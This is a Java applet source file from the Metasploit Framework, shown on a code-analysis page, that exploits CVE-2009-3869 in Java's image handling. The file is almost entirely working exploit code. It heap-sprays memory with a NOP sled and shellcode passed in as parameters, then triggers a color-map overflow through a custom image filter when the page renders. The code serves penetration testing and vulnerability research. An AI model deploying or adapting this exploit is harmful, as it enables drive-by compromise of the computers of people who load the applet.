rapid7/metasploit-framework

View on GitHub
external/source/exploits/CVE-2009-3869/AppletX.java

Summary

Maintainability
C
7 hrs
Test Coverage
//
// $Id$
// 
// Version: $Revision$
// 

import java.awt.*;
import java.awt.image.*;
import java.nio.*;

public class AppletX extends java.applet.Applet
{
    private IntBuffer [] mem;
    private Image src, dst;
    private boolean painted = false;
    
   public void init()
     {
          // load image
        src = getImage(getCodeBase(), "test.png");
          
          // wait for image to be loaded
        MediaTracker mt = new MediaTracker(this);
          mt.addImage(src, 0);
          try { mt.waitForAll(); } catch (InterruptedException e) { }
          mt.removeImage(src);

          // create our filtered version (nasty one!)
          ImageProducer ip = src.getSource();
          ImageFilter iflt = new BoomFilter();
          dst = createImage(new FilteredImageSource(ip, iflt));
          
          try
             {
                 mem = spray(getParameter("sc"), getParameter("np"));
                 // System.out.println("Sprayed!");
             }
          catch (Exception e)
             {
             }
          
          // the vuln shall trigger itself auto-magically on render...
     }
    
    public void paint(Graphics g)
      {
          if (!painted)
             {
                 painted = true;
                 if (src != null)
                    g.drawImage(src, 10, 10, this);
                 if (dst != null)
                    g.drawImage(dst, 250, 10, this);
             }
      }
    
   // based on:
    // http://stackoverflow.com/questions/140131/convert-a-string-representation-of-a-hex-dump-to-a-byte-array-using-java
    public static short[] HexDecode(String s)
      {
          short[] data = new short[s.length()/2];
          
          for (int i = 0; i < s.length(); i += 2)
             {
                 char c1 = s.charAt(i);
                 char c2 = s.charAt(i + 1);
                 
                 int comb = Character.digit(c1, 16) & 0xff;
                 comb <<= 4;
                 comb += Character.digit(c2, 16) & 0xff;
                 data[i/2] = (short)comb;
             }
          return data;
      }
    
    public final IntBuffer [] spray(String sc, String np)
      {
          short [] sc_bytes = HexDecode(sc);
          short [] np_bytes = HexDecode(np);
          
          return spray (sc_bytes, np_bytes);
      }
    
    public final IntBuffer [] spray(short[] sc, short[] np)
      {
          int cnt = 50; // total 50 mb
          int sz = 1024*1024; // 1 mb
          int nops = (sz / 4) - (sc.length);
          
          IntBuffer [] ret = new IntBuffer[cnt];
          
          for (int bi = 0; bi < cnt; bi++)
             {
                 IntBuffer ib = IntBuffer.allocate(sz / 4);

                 for (int i = 0; i < nops; ++i)
                    ib.put((np[0]
                              | (np[1] << 8)
                              | (np[2] << 16)
                              | (np[3] << 24)));
                 // ib.put(0x90909090);
          
                 for (int i = 0; i < sc.length; )
                    ib.put((sc[i++]
                              | (sc[i++] << 8)
                              | (sc[i++] << 16)
                              | (sc[i++] << 24)));
                 ret[bi] = ib;
             }
          return ret;
      }
}


class BoomFilter extends java.awt.image.ImageFilter
{
    public void setDimensions(int width, int height)
      {
          // System.out.println("in setDimensions");
          consumer.setDimensions(width, height);
          
          // pixels...
          int PXSZ = 100*100;
          byte[] px = new byte[PXSZ];
          for (int i = 0; i < PXSZ; i++)
             px[i] = 0x00;
          
          // our length
          int SZ1 = 0xff;
          int SZ2 = 0x800;
          ColorModel cm;
          
          // here we setup two color maps.
          // the first one is used to control what values are written to in the second one.

          int[] rgba = new int[SZ1];
          for (int i = 0; i < SZ1; i++)
             rgba[i] = 0xff010203 + i;
          rgba[0x01] = 0xff020202;
          rgba[0x24] = 0xff020203;
          cm = new IndexColorModel(8, SZ1, rgba, 0, false, -1, DataBuffer.TYPE_BYTE);
          consumer.setColorModel(cm);
          
          // trigger the bug
          rgba = new int[SZ2];
          // everything from the first buffer must be found to trigger the overflow
          for (int i = 0; i < SZ1; i++)
             rgba[i] = 0xff010203 + i;
          rgba[0x01] = 0xff020202;
          rgba[0x24] = 0xff020203;
          for (int i = SZ1; i < SZ2 - 1; i += 2)
             {
                 rgba[i] = 0xff020203;
                 rgba[i+1] = 0xff020202;
             }
          cm = new IndexColorModel(8, SZ2, rgba, 0, false, -1, DataBuffer.TYPE_BYTE);
          
          consumer.setPixels(10, 10, 10, 10, cm, px, 1, 1);
      }
}